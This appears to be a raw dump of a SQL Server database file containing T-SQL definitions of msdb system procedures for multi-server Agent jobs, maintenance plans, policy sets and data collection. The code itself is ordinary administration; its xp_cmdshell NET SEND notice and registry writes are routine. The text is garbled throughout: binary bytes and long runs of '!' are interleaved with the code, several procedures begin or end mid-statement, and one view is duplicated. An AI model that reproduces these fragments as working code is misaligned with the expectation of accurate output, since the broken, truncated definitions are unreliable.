!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5"
w
xS`/z<[*M;zP0| 8-- This procedure is called when a maintenance plan subplan record
-- needs to be created or updated to match a multi-server Agent job
-- that has arrived from the master server.
CREATE PROCEDURE sp_maintplan_update_subplan_tsx
    @subplan_id    UNIQUEIDENTIFIER,
    @plan_id       UNIQUEIDENTIFIER,
    @name          sysname,
    @description   NVARCHAR(512),
    @job_id        UNIQUEIDENTIFIER
AS
BEGIN
    -- Find out what schedule, if any, is associated with the job.
    declare @schedule_id int
    select @schedule_id = (SELECT TOP(1) schedule_id
                           FROM msdb.dbo.sysjobschedules
                           WHERE (job_id = @job_id) )

    exec sp_maintplan_update_subplan @subplan_id, @plan_id, @name, @description, @job_id, @schedule_id, @allow_create=1

    -- Be sure to mark this subplan as coming from the master, not locally.
    update sysmaintplan_subplans
    set msx_plan = 1
    where subplan_id = @subplan_id
    
END
0φ %8((1))0 8CREATE PROCEDURE sp_msx_set_account
  @credential_name sysname = NULL,
  @credential_id   INT = NULL
AS
BEGIN
  DECLARE @retval INT
  IF @credential_id IS NOT NULL OR @credential_name IS NOT NULL
  BEGIN
     EXECUTE @retval = sp_verify_credential_identifiers  '@credential_name',
                                                        '@credential_id',
                                                        @credential_name OUTPUT,
                                                        @credential_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
    
    --set credential_id to agent registry
    EXECUTE master.dbo.xp_instance_regwrite  'HKEY_LOCAL_MACHINE',
                                    'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                    'MSXCredentialID',
                                    'REG_DWORD', 
                                    @credential_id
    --set connections to standard
    EXECUTE master.dbo.xp_instance_regwrite  'HKEY_LOCAL_MACHINE',
                                    'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                    'RegularMSXConnections',
                                    'REG_DWORD', 
                                    1
  END
  ELSE
  BEGIN
    --just set connection to integrated
    EXECUTE master.dbo.xp_instance_regwrite  'HKEY_LOCAL_MACHINE',
                                    'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                    'RegularMSXConnections',
                                    'REG_DWORD', 
                                    0
  END
END
0#, &8(NULL)0 8CREATE VIEW [dbo].[syspolicy_object_sets]
AS
    SELECT     
        os.object_set_id,
        os.object_set_name,
        os.facet_id,
        facet.name as facet_name,
        os.is_system
    FROM [dbo].[syspolicy_object_sets_internal] AS os INNER JOIN [dbo].[syspolicy_management_facets] AS facet
    ON os.facet_id = facet.management_facet_id
0` 8CREATE PROCEDURE [dbo].[sp_sysdac_update_instance]  
    @type_name sysname,
    @instance_id UniqueIdentifier = NULL,            
    @instance_name sysname,
    @type_version NVARCHAR(64) = NULL,
    @description nvarchar(4000) = N'',
    @type_stream varbinary(max)
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  

    DECLARE @null_column sysname    
    SET @null_column = NULL

   IF (@type_name = N'')
        SET @null_column = '@type_name'
    ELSE IF (@instance_name = N'')
        SET @null_column = '@instance_name'
    ELSE IF (@instance_id IS NULL )
        SET @null_column = '@instance_id'
    ELSE IF( @type_version = N'')
        SET @null_column = '@type_version'
    ELSE IF( @type_stream IS NULL)
        SET @null_column = '@type_stream'
      
    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_add_instance')
        RETURN(1)
    END

    -- Ensure that the package being referred to exists by using the package view. We only continue if we can see 
    -- the specified package. The package will only be visible if we are the associated dbo or sysadmin and it exists
    IF NOT EXISTS (SELECT * from dbo.sysdac_instances WHERE instance_id = @instance_id)
    BEGIN
        RAISERROR(36004, -1, -1)
        RETURN(1)
    END
    
    UPDATE sysdac_instances_internal SET
        type_name = ISNULL(@type_name, type_name),
        instance_name = ISNULL(@instance_name, instance_name),
		type_version = @type_version,
		description = @description, 
		type_stream = @type_stream
    WHERE instance_id = @instance_id 
    
    SELECT @retval = @@error
    RETURN(@retval)
END
06x 8CREATE PROCEDURE [dbo].[sp_sysutility_ucp_delete_policy] 
   @resource_health_policy_id INT
WITH EXECUTE AS OWNER
AS
BEGIN

    DECLARE @retval INT
    DECLARE @null_column    SYSNAME
    
    SET @null_column = NULL

    IF (@resource_health_policy_id IS NULL OR @resource_health_policy_id = 0)
        SET @null_column = '@resource_health_policy_id'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_delete_policy')
        RETURN(1)
    END

    IF NOT EXISTS (SELECT * FROM dbo.sysutility_ucp_health_policies_internal WHERE health_policy_id = @resource_health_policy_id AND is_global_policy = 0)
    BEGIN
        RAISERROR(22981, -1, -1)
        RETURN(1)
    END

    DELETE dbo.sysutility_ucp_health_policies_internal
    WHERE health_policy_id = @resource_health_policy_id
    
    SELECT @retval = @@error
    RETURN(@retval)
END
ANSACTION
    
    BEGIN TRY
        DECLARE @step_id         INT
        DECLARE cursor_job_steps CURSOR FOR
            SELECT step_id FROM dbo.sysjobsteps WHERE job_id = @job_id AND subsystem = N'CMDEXEC'

        OPEN cursor_job_steps
        FETCH NEXT FROM cursor_job_steps INTO @step_id

        WHILE @@FETCH_STATUS = 0
        BEGIN
            EXEC dbo.sp_update_jobstep
                @job_id = @job_id,
                @step_id = @step_id,
                @proxy_id = @proxy_id,
                @proxy_name = @proxy_name

            FETCH NEXT FROM cursor_job_steps INTO @step_id
        END

        CLOSE      cursor_job_steps
        DEALLOCATE cursor_job_steps

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_syscollector_update_proxy

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)        
    END CATCH
END
0@ D8A?h'0 8CREATE VIEW [dbo].[syspolicy_object_sets]
AS
    SELECT     
        os.object_set_id,
        os.object_set_name,
        os.facet_id,
        facet.name as facet_name,
        os.is_system
    FROM [dbo].[syspolicy_object_sets_internal] AS os INNER JOIN [dbo].[syspolicy_management_facets] AS facet
    ON os.facet_id = facet.management_facet_i$J^`{<y	+Bm0 8CREATE PROCEDURE sp_msx_defect
  @forced_defection BIT = 0
AS
BEGIN
  DECLARE @current_msx_server sysname
  DECLARE @retval             INT
  DECLARE @jobs_deleted       INT
  DECLARE @polling_interval   INT
  DECLARE @nt_user            NVARCHAR(100)

  SET NOCOUNT ON

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) 
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  SELECT @retval = 0
  SELECT @jobs_deleted = 0

  -- Get the current MSX server name from the registry
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'MSXServerName',
                                         @current_msx_server OUTPUT,
                                         N'no_output'

  SELECT @current_msx_server = UPPER(LTRIM(RTRIM(@current_msx_server)))
  IF ((@current_msx_server IS NULL) OR (@current_msx_server = N''))
  BEGIN
    RAISERROR(14298, -1, -1)
    RETURN(1) -- Failure
  END

  SELECT @nt_user = ISNULL(NT_CLIENT(), ISNULL(SUSER_SNAME(), FORMATMESSAGE(14205)))

  EXECUTE @retval = master.dbo.xp_msx_enlist 1, @current_msx_server, @nt_user

  IF (@retval <> 0) AND (@forced_defection = 0)
    RETURN(1) -- Failure

  -- Clear the MSXServerName registry entry
  EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                          N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                          N'MSXServerName',
                                          N'REG_SZ',
                                          N''

  -- Delete the MSXPollingInterval registry entry
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'MSXPollInterval',
                                         @polling_interval OUTPUT,
                                         N'no_output'
  IF (@polling_interval IS NOT NULL)
    EXECUTE master.dbo.xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE',
                                                  N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                                  N'MSXPollInterval'

  -- Remove the entry from sqlagent_info
  DELETE FROM msdb.dbo.sqlagent_info
  WHERE (attribute = N'DateEnlisted')

  -- Delete all the jobs that originated from the MSX
  -- NOTE: We can't use sp_delete_job here since sp_delete_job checks if the caller is
  --       SQLServerAgent (only SQLServerAgent can delete non-local jobs).
  EXECUTE msdb.dbo.sp_delete_all_msx_jobs @current_msx_server, @jobs_deleted OUTPUT
  RAISERROR(14227, 0, 1, @current_msx_server, @jobs_deleted)

  -- Now delete the old msx server record
  DELETE msdb.dbo.sysoriginatingservers 
  WHERE (originating_server = @current_msx_server)
    AND (master_server = 1)

  -- If a forced defection was performed, attempt to notify the MSXOperator
  IF (@forced_defection = 1)
  BEGIN
    DECLARE @network_address    NVARCHAR(100)
    DECLARE @command            NVARCHAR(512)
    DECLARE @local_machine_name sysname
    DECLARE @res_warning        NVARCHAR(300)

    SELECT @network_address = netsend_address
    FROM msdb.dbo.sysoperators
    WHERE (name = N'MSXOperator')

    IF (@network_address IS NOT NULL)
    BEGIN
      EXECUTE @retval = master.dbo.xp_getnetname @local_machine_name OUTPUT
      IF (@retval <> 0)
        RETURN(1) -- Failure
      SELECT @res_warning = FORMATMESSAGE(14217)
      SELECT @command = N'NET SEND ' + @network_address + N' ' + @res_warning
      SELECT @command = STUFF(@command, PATINDEX(N'%[%%]s%', @command), 2, NT_CLIENT())
      SELECT @command = STUFF(@command, PATINDEX(N'%[%%]s%', @command), 2, @local_machine_name)
      EXECUTE master.dbo.xp_cmdshell @command, no_output
    END
  END

  -- Delete the 'MSXOperator' (must do this last)
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysoperators
              WHERE (name = N'MSXOperator')))
    EXECUTE msdb.dbo.sp_delete_operator @name = N'MSXOperator'

  RETURN(0) -- 0 means success
END
05 8CREATE PROCEDURE [dbo].[sp_syspolicy_add_object_set]
@object_set_name sysname,
@facet nvarchar (max),
@object_set_id int OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval             INT
	
	DECLARE @facet_id           INT
	DECLARE @null_column		sysname
	
	IF( @facet IS NULL)
		SET @null_column = '@facet'
		
	IF @null_column IS NOT NULL
	BEGIN
		RAISERROR(14043, -1, -1, @null_column, 'sp_syspolicy_add_object_set')
		RETURN(1)
	END

    SET @facet_id = (SELECT management_facet_id FROM [dbo].[syspolicy_management_facets] WHERE name = @facet)
        
    IF (@facet_id IS NULL)
    BEGIN
        RAISERROR (34014, -1, -1)
        RETURN(1)
    END

    INSERT INTO msdb.[dbo].[syspolicy_object_sets_internal]
                                        (object_set_name,
                                        facet_id)
    VALUES                            
                                        (@object_set_name,
                                        @facet_id)

    SELECT @retval = @@error
    SET @object_set_id = SCOPE_IDENTITY()
    RETURN(@retval)
END
r_number, 
        error_message, 
        command, 
        succeeded)
   VALUES(
        @task_detail_id,
        @Line1,
        @Line2,
        @Line3,
        @Line4,
        @Line5,
        @server_name,
        @start_time,
        @end_time,
        @error_number,
        @error_message,
        @command,
        @succeeded)

    RETURN (@@ERROR)
END
0_) 8CREATE PROCEDURE [dbo].[sp_syscollector_configure_sql_dumper]
    @collection_set_id        int = NULL,
    @name                    sysname = NULL,
    @dump_on_any_error      bit = NULL,                -- configure SQL dumper to dump on any SSIS errors
    @dump_on_codes          nvarchar(max) = NULL    -- configure SQL dumper to dump when we hit one of the specified SSIS errors. Set to N'' to remove the codes.
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN(1) -- Failure
    END

    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    DECLARE @is_running bit
    SELECT    @is_running = is_running
    FROM dbo.syscollector_collection_sets
    WHERE collection_set_id = @collection_set_id
    IF (@is_running = 1)
    BEGIN
        RAISERROR(14711, 0, 1)
    END

    IF (@dump_on_codes = N'')
    BEGIN
        UPDATE [dbo].[syscollector_collection_sets_internal]
        SET dump_on_codes = NULL
        WHERE @collection_set_id = collection_set_id
    END
    ELSE IF (@dump_on_codes IS NOT NULL)
    BEGIN
        UPDATE [msdb].[dbo].[syscollector_collection_sets_internal]
        SET dump_on_codes = @dump_on_codes
        WHERE @collection_set_id = collection_set_id
    END    

    IF (@dump_on_any_error IS NOT NULL)
    BEGIN
        UPDATE [msdb].[dbo].[syscollector_collection_sets_internal]
        SET dump_on_any_error = @dump_on_any_error
        WHERE @collection_set_id = collection_set_id
    END

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`<,O0g]$@ 8CREATE PROCEDURE sp_add_targetsvrgrp_member
  @group_name  sysname,
  @server_name sysname
AS
BEGIN
  DECLARE @servergroup_id INT
  DECLARE @server_id      INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @group_name = LTRIM(RTRIM(@group_name))
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  -- Check if the group exists
  SELECT @servergroup_id = servergroup_id
  FROM msdb.dbo.systargetservergroups
  WHERE (name = @group_name)

  IF (@servergroup_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@group_name', @group_name)
    RETURN(1) -- Failure
  END

  -- Check if the server exists
  SELECT @server_id = server_id
  FROM msdb.dbo.systargetservers
  WHERE (UPPER(server_name) = @server_name)

  IF (@server_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@server_name', @server_name)
    RETURN(1) -- Failure
  END

  -- Check if the server is already in this group
  IF (EXISTS (SELECT *
              FROM msdb.dbo.systargetservergroupmembers
              WHERE (servergroup_id = @servergroup_id)
                AND (server_id = @server_id)))
  BEGIN
    RAISERROR(14263, -1, -1, @server_name, @group_name)
    RETURN(1) -- Failure
  END

  -- Add the row to systargetservergroupmembers
  INSERT INTO msdb.dbo.systargetservergroupmembers
  VALUES (@servergroup_id, @server_id)

  RETURN(@@error) -- 0 means success
END
0r$ &8(NULL)0m$ 08CREATE PROCEDURE [dbo].[sp_syscollector_create_collector_type]
    @collector_type_uid            uniqueidentifier = NULL OUTPUT,
    @name                        sysname,
    @parameter_schema            xml = NULL,
    @parameter_formatter        xml = NULL,
    @collection_package_id        uniqueidentifier,
    @upload_package_id            uniqueidentifier
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_create_collector_type
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END

    SET @name                = NULLIF(LTRIM(RTRIM(@name)), N'')
    IF (@name IS NULL) 
    BEGIN
        RAISERROR(21263, -1, -1, '@name', @name)
        RETURN (1)
    END

    IF (@collector_type_uid IS NULL) 
    BEGIN
        SET @collector_type_uid = NEWID()
    END
    
    IF (NOT EXISTS(SELECT * from sysssispackages
        WHERE @collection_package_id = id))
    BEGIN
        DECLARE @collection_package_id_as_char VARCHAR(36)
        SELECT @collection_package_id_as_char = CONVERT(VARCHAR(36), @collection_package_id)
        RAISERROR(14262, -1, -1, '@collection_package_id', @collection_package_id_as_char)
        RETURN (1)
    END

    IF (NOT EXISTS(SELECT * from sysssispackages
        WHERE @upload_package_id = id))
    BEGIN
        DECLARE @upload_package_id_as_char VARCHAR(36)
        SELECT @upload_package_id_as_char = CONVERT(VARCHAR(36), @upload_package_id)
        RAISERROR(14262, -1, -1, '@upload_package_id', @upload_package_id_as_char)
        RETURN (1)
    END

    DECLARE @collection_package_name sysname
    DECLARE @collection_package_folderid uniqueidentifier
    DECLARE @upload_package_name sysname
    DECLARE @upload_package_folderid uniqueidentifier    

    SELECT 
        @collection_package_name = name,
        @collection_package_folderid = folderid
    FROM sysssispackages
    WHERE @collection_package_id = id

    SELECT 
        @upload_package_name = name,
        @upload_package_folderid = folderid
    FROM sysssispackages
    WHERE @upload_package_id = id

    DECLARE @schema_collection sysname
    IF (@parameter_schema IS NOT NULL)
    BEGIN
        SET @schema_collection = N'schema_collection_' + @name
        WHILE (EXISTS (SELECT * FROM sys.xml_schema_collections WHERE name = @schema_collection))
        BEGIN
            SET @schema_collection = LEFT(@schema_collection, 119) + '_' + RIGHT(STR(FLOOR(RAND() * 100000000)),8)
        END

        DECLARE @retVal int
        DECLARE @sql_string nvarchar(2048)
        DECLARE @param_definition nvarchar(16)
        SET @param_definition = N'@schema xml'
        SET @sql_string = N'CREATE XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection, '[') + N' AS @schema; '
        SET @sql_string = @sql_string + N'GRANT EXECUTE ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection, '[') + N' TO dc_admin; ' 
        SET @sql_string = @sql_string + N'GRANT VIEW DEFINITION ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection, '[') + N' TO dc_admin; '

        EXEC sp_executesql @sql_string, @param_definition, @schema = @parameter_schema
    END

    INSERT INTO [dbo].[syscollector_collector_types_internal]
    (
        collector_type_uid,
        name,
        parameter_schema,
        parameter_formatter,
        schema_collection,
        collection_package_name,
        collection_package_folderid,
        upload_package_name,
        upload_package_folderid
    )
    VALUES
    (
        @collector_type_uid,
        @name,
        @parameter_schema,
        @parameter_formatter,
        @schema_collection,
        @collection_package_name,
        @collection_package_folderid,
        @upload_package_name,
        @upload_package_folderid
    )

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_create_collector_type

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)    
    END CATCH
END
0oc}$ %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![Dt`<E-O,0w$ $8('')0Q% 8CREATE PROCEDURE sp_delete_targetsvrgrp_member
  @group_name  sysname,
  @server_name sysname
AS
BEGIN
  DECLARE @servergroup_id INT
  DECLARE @server_id      INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @group_name = LTRIM(RTRIM(@group_name))
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  -- Check if the group exists
  SELECT @servergroup_id = servergroup_id
  FROM msdb.dbo.systargetservergroups
  WHERE (name = @group_name)

  IF (@servergroup_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@group_name', @group_name)
    RETURN(1) -- Failure
  END

  -- Check if the server exists
  SELECT @server_id = server_id
  FROM msdb.dbo.systargetservers
  WHERE (UPPER(server_name) = @server_name)

  IF (@server_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@server_name', @server_name)
    RETURN(1) -- Failure
  END

  -- Check if the server is in the group
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.systargetservergroupmembers
                  WHERE (servergroup_id = @servergroup_id)
                    AND (server_id = @server_id)))
  BEGIN
    RAISERROR(14264, -1, -1, @server_name, @group_name)
    RETURN(1) -- Failure
  END

  -- Delete the row from systargetservergroupmembers
  DELETE FROM msdb.dbo.systargetservergroupmembers
  WHERE (servergroup_id = @servergroup_id)
    AND (server_id = @server_id)

  RETURN(@@error) -- 0 means success
END
0A% &8(NULL)0q% /8(suser_sname())0Ts% 8CREATE FUNCTION dbo.[fn_sysutility_ucp_get_global_health_policy](
    @rollup_object_type INT
    , @target_type INT
    , @resource_type INT
    , @utilization_type INT )
RETURNS INT 
AS
BEGIN
	DECLARE @health_policy_id INT
	
    -- Check if there is a global policy for that object type in a target type
	SELECT @health_policy_id = hp.health_policy_id
	FROM msdb.dbo.sysutility_ucp_policies hp
	WHERE hp.rollup_object_type = @rollup_object_type
	    AND hp.target_type = @target_type
	    AND hp.resource_type = @resource_type
	    AND hp.utilization_type = @utilization_type
	    AND hp.is_global_policy = 1
    
    -- If not found, check if there is a global policy for that object type at utility level. 
    -- This is the last resort, must find the global policy here.
    IF @health_policy_id = 0 OR @health_policy_id IS NULL
    BEGIN
		SELECT @health_policy_id = hp.health_policy_id
		FROM msdb.dbo.sysutility_ucp_policies hp
		WHERE hp.rollup_object_type = 0
		    AND hp.target_type = @target_type
		    AND hp.resource_type = @resource_type
		    AND hp.utilization_type = @utilization_type
		    AND hp.is_global_policy = 1    
    END	
    
	RETURN @health_policy_id
END
er_schema = parameter_schema,
            @old_parameter_formatter = parameter_formatter,
            @old_collection_package_id = collection_package_id,
            @old_upload_package_id = upload_package_id
    FROM [dbo].[syscollector_collector_types]
    WHERE name = @name
    AND collector_type_uid = @collector_type_uid

    IF (@collection_package_id IS NULL)
    BEGIN
        SET @collection_package_id = @old_collection_package_id
    END
    ELSE IF (NOT EXISTS(SELECT * from sysssispackages
                        WHERE @collection_package_id = id))
    BEGIN
        DECLARE @collection_package_id_as_char VARCHAR(36)
        SELECT @collection_package_id_as_char = CONVERT(VARCHAR(36), @collection_package_id)
        RAISERROR(14262, -1, -1, '@collection_package_id', @collection_package_id_as_char)
        RETURN (1)
    END

    IF (@upload_package_id IS NULL)
    BEGIN
        SET @upload_package_id = @old_upload_package_id
    END
    ELSE IF (NOT EXISTS(SELECT * from sysssispackages
                        WHERE @upload_package_id = id))
    BEGIN
        DECLARE @upload_package_id_as_char VARCHAR(36)
        SELECT @upload_package_id_as_char = CONVERT(VARCHAR(36), @upload_package_id)
        RAISERROR(14262, -1, -1, '@upload_package_id', @upload_package_id_as_char)
        RETURN (1)
    END

    DECLARE @collection_package_name sysname
    DECLARE @collection_package_folderid uniqueidentifier
    DECLARE @upload_package_name sysname
    DECLARE @upload_package_folderid uniqueidentifier    

    SELECT 
        @collection_package_name = name,
        @collection_package_folderid = folderid
    FROM sysssispackages
    WHERE @collection_package_id = id

    SELECT 
        @upload_package_name = name,
        @upload_package_folderid = folderid
    FROM sysssispackages
    WHERE @upload_package_id = id

    DECLARE @schema_collection sysname
    IF (@parameter_schema IS NULL)
    BEGIN
        SET @parameter_schema = @old_parameter_schema
    END
    ELSE
    BEGIN
        SELECT @schema_collection = schema_collection
        FROM [dbo].[syscollector_collector_types_internal]
        WHERE name = @name
        AND collector_type_uid = @collector_type_uid

        -- if a previous xml schema collection existed with the same name, drop it in favor of the new schema
        IF (EXISTS (SELECT * FROM sys.xml_schema_collections WHERE name = @schema_collection))
        BEGIN
            DECLARE @sql_drop_schema nvarchar(512)
            SET @sql_drop_schema = N'DROP XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection)
            EXECUTE sp_executesql @sql_drop_schema
        END

        -- recreate it with the new schema
        DECLARE @sql_create_schema nvarchar(2048)
        DECLARE @param_definition nvarchar(16)
        SET @param_definition = N'@schema xml'
        SET @sql_create_schema = N'CREATE XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection) + N' AS @schema; '
        SET @sql_create_schema = @sql_create_schema + N'GRANT EXECUTE ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection) + N' TO dc_admin; ' 
        SET @sql_create_schema = @sql_create_schema + N'GRANT VIEW DEFINITION ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection) + N' TO dc_admin; '
            
        EXEC sp_executesql @sql_create_schema, @param_definition, @schema = @parameter_schema
    END

    UPDATE [dbo].[syscollector_collector_types_internal]
